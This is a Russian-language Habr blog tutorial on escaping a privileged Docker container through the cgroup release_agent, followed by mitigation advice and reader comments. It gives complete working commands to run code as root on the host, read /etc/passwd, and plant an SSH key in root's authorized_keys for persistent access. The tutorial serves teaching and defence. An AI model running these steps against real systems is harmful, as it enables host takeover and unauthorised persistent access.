Docker — одно из самых популярных приложений для контейнеризации программного обеспечения. В терминологии Docker контейнеры — это стандартная единица программного обеспечения, которая упаковывает код и все его зависимости, чтобы можно было быстро и надёжно запустить приложение на разных операционных системах и в разных вычислительных средах. С технической точки зрения контейнер — это запущенный процесс (наподобие процессов в операционных системах), который изолирован от других процессов и имеет доступ к ресурсам компьютера.

Как и в любом другом программном обеспечении, в Docker присутствуют различные уязвимости. Одной из самых известных уязвимостей считается Docker escape, что в переводе на русский язык означает «побег из Docker» или более распространённая формулировка — побег из контейнера Docker. Данная уязвимость позволяет получить доступ к основной (хостовой) операционной системе, тем самым совершая побег из контейнера Docker.

Впервые данная уязвимость была обнаружена командой аналитиков по информационной безопасности из Project Zero в июле 2019 года. Несмотря на то, что с момента выявления уязвимости уже прошло более двух лет, её всё ещё можно реализовать. Упоминание атаки отсутствует и в официальном блоге Docker и на форуме Docker. Описание атаки предоставлено на сайте Exploit DB.

Шаги, необходимые для воспроизведения данной уязвимости, представлены ниже:

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
 
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Совершить побег из Docker контейнера можно, когда он запущен в при­виле­гиро­ван­ном режиме. Для запуска при­виле­гиро­ван­ных кон­тей­неров используется фла­г --privileged, известный тем, что позволяет получить root-дос­туп к хос­товой операционной системе. Также совершить побег можно, когда контейнер запущен с опцией --cap-add и в качестве параметра передана привилегия SYS_ADMIN. Опция --cap-add позволяет задавать определенные привилегии (Linux capabilities). Привилегия SYS_ADMIN предоставляет права на выполнение таких команд, как quotactl, mount, umount, swapon, swapoff, sethostname и setdomainname.

Стоит отметить, что данная уязвимость относится именно к механизму кон­троль­ных груп­п — cgroup. Имен­но cgroup выполняет функцию по изоляции ресур­сов, за счет чего и про­изво­дит­ся изо­ляция кон­тей­неров от основной системы. Эксплойт основан на использовании внутренней функции под названием release_agent, которая присутствует в механизме cgroup. После завершения последнего рабочего процесса в cgroup выполняется команда. Эта команда указана в файле release_agent и выполняется от имени root пользователя на хостовой ОС. По умолчанию функция отключена, а путь release_agent – пуст.

Разберём шаги данной уязвимости.

В качестве хостовой ОС будет использоваться Ubuntu 20.04.03, имя пользователя — alex, имя хоста — ubuntu-dev:

В качестве гостевой ОС, запущенной в контейнере, будет выступать Ubuntu 20.04.03 с пользователем root и именем хоста — ce96e591876d.

Для начала необходимо запустить контейнер Docker с опцией --privileged. В качестве примера можно запустить образ с ОС Ubuntu. Команда, запускаемая на хосте, будет выглядеть следующим образом:

docker run --rm -it --privileged ubuntu bash

Также можно запустить контейнер с привилегией SYS_ADMIN и политикой безопасности apparmor и с неограниченным доступом. Для этого можно воспользоваться командой из описания уязвимости:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

После того, как мы окажемся внутри контейнера, соз­даём новый каталог /tmp/cgrp, мон­тиру­ем кон­трол­лер кон­троль­ной груп­пы RDMA (механизм удалённого прямого доступа к памяти) и соз­даем дочер­нюю кон­троль­ную груп­пу (в дан­ном слу­чае x):

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

Коман­да, которая указана в фай­ле release_agent, выпол­няет­ся от име­ни поль­зовате­ля root на основном хос­те — это и есть успешно использованная уязвимость.

Далее необходимо акти­вировать фун­кцию release_agent. По умол­чанию она неак­тивна.

echo 1 > /tmp/cgrp/x/notify_on_release

Следующим шагом прописываем путь до release_agent:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Далее нужно создать bash скрипт и вписать в него команды, которые будут выполняться на основном хос­те. Файл с выполняемыми командами будет называться cmd, а результаты выполненных команд будут записываться в файл с именем output. В качестве примера будет получен список процессов, выполняющихся на основной системе:

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd

Чтобы запустить скрипт, необходимо сделать его исполняемым:

chmod a+x /cmd

И наконец, чтобы выполнить атаку, необходимо запус­тить про­цесс, который сразу завер­шится внут­ри ранее созданной дочер­ней кон­троль­ной груп­пы x.  После этого будет ини­циализировано выпол­нение сце­нария /cmd на основном хос­те:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Результат выполнения команды ps aux.

Список всех процессов, запущенных на хостовой ОС и полученных из контейнера:

Список всех процессов, запущенных на хостовой ОС, полученный непосредственно с самого хоста:

Вывод на экран файла /etc/passwd, расположенного на хостовой ОС. Команда cat /etc/passwd была выполнена внутри контейнера:

Вывод файла /etc/passwd, расположенного непосредственно на хостовой ОС:

Вывод содержимого директории, расположенной по пути /home/alex/Python_Scripts. Команда ls -l /home/alex/Python_Scripts была выполнена внутри контейнера:

Вывод содержимого директории, расположенной по пути /home/alex/Python_Scripts. Команда была выполнена на хостовой ОС:

Помимо выполнения произвольных команд, можно получить полноценный доступ к хостовой ОС при помощи SSH. Для этого сначала необходимо установить пакет openssh-client, так как по умолчанию он отсутствует в контейнере. Для этого в контейнере необходимо выполнить следующую команду:

apt update && apt -y install openssh-client

Перед подключением к хостовой ОС необходимо узнать её IP-адрес. Узнать IP-адрес компьютера можно при помощи команды ip a. Запишем данную команду в файл cmd и выполним её на хостовой ОС по алгоритму, описанному ранее:

В данном случае IP адрес хостовой ОС 192.168.189.129:

Теперь необходимо сгенерировать SSH ключи:

ssh-keygen

После того, как ключи были сгенерированы, необходимо записать коман­ду записи пуб­лично­го клю­ча SSH в файл authorized_keys, расположенного по пути /root/.ssh/authorized_keys, который находится на хостовой ОС. Команда будет выглядеть так (вместо символов AAAA необходимо вставить открытый ключ, который необходимо скопировать из файла /root/.ssh/ id_rsa.pub):

echo '#!/bin/sh' > /cmd
echo "echo 'ssh rsa AAAA...' > /root/.ssh/authorized_keys" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

После записи открытого ключа можно подключиться к хостовой ОС. В качестве имени пользователя зададим имя root, в качестве IP-адреса — IP-адрес хостовой ОС, который был получен ранее. Команда для подключения будет выглядеть следующим образом:

ssh root@192.168.189.129

Как можно увидеть на скриншоте выше, мы успешно подключились к нашей хостовой ОС. Приглашение к вводу изменилось на имя хоста, принадлежащего хостовой ОС.

Также можно проверить, что пользователь root успешно подключился из контейнера к хосту, выполнив команду w и найдя пользователя root:

Способы предотвращения побега из контейнера

Для того чтобы предотвратить данную атаку, необходимо придерживаться следующих правил:

1) Не запускать контейнеры с ключом --privileged.

Обычно контейнеры с ключом --privileged запускаются, когда необходимо получить доступ к специфичным устройствам хостовой ОС. Также бывают случаи, когда конкретные приложения написаны так, что могут запускаться только в привилегированном режиме. 

2) Не запускать контейнеры с привилегией SYS_ADMIN.

Помимо полного представления прав с помощью флага --privileged можно разрешать выполнять только определённые действия в системе. Этого можно достичь при помощи механизма, встроенного в ядро Linux под названием Linux capabilities (привилегии Linux). Данный механизм присутствует и в Docker. В частности, привилегия SYS_ADMIN позволяет запускать в контейнере такие команды, как quotactl, mount, swapon, sethostname, setdomainname. Для реализации побега из контейнера как раз необходима команда mount. Если не запускать контейнеры с привилегией SYS_ADMIN, то команду mount выполнить не удастся.

3) Не использовать учётную запись root внутри контейнера.

Реализовать побег из контейнера может только пользователь root, так как данный пользователь обладает всеми правами в системе. В частности, данная уязвимость монтирует механизм RDMA с использованием параметров. Если выполнить команду монтирования от имени обычного пользователя, то в терминале будет ошибка - mount: only root can use "--options" option, которая говорит о том, что только пользователь root может использовать параметры при монтировании.

4) Использовать файловую систему внутри контейнера только для чтения (опция --read-only=true).

При данной опции контейнер не сможет записывать или изменять какие-либо данные внутри контейнера, тем самым делая невозможным создание новых файлов или редактирование уже существующих. Если в контейнере с запущенной опцией --read-only=true, например, создать файл, то появится ошибка - touch: cannot touch 'cmd': Read-only file system.


НЛО прилетело и оставило здесь промокоды для читателей нашего блога:

— 15% на все тарифы VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.

— 20% на выделенные серверы AMD Ryzen и Intel Core — HABRFIRSTDEDIC.

Комментарии (5)


  1. vesper-bot
    10.02.2022 13:20
    +1

    По такому синопсису это уже не баг, а фича получается.


    1. mayorovp
      10.02.2022 14:02

      Баг это, баг. Логично было бы release_agent запускать не в корневой группе, а в родительской. Или в той группе, процесс которой этот самый release_agent прописал.


  1. amarao
    10.02.2022 16:17
    +7

    --cap-add=SYS_ADMIN --security-opt apparmor=unconfined

    Чудо, а не багрепорт. Попросил права сисадмина, отключил apparmor, и после этого показываем, что права сисадмина позволяют сисадминить.

    Я вот обнаружил, что sudo rm -r /etc /usr /bin ломает почти любой сервер. Это явно уязвимость линукса!


    1. Anrikigai
      10.02.2022 16:23
      +2

      Ну если бы это дополнить средствами защиты (типа вот при конфигурировании кучу ошибок совершили, но благодаря XXX враг все равно не пройдет) - получилось бы очень даже интересно.


  1. sevikkk
    10.02.2022 17:23
    +4

    А если сделать docker run --privileged -v /:/host то можно вообще столько всего наворотить...

    И главное что это было ВСЕГДА и это ВООБЩЕ не собираются чинить...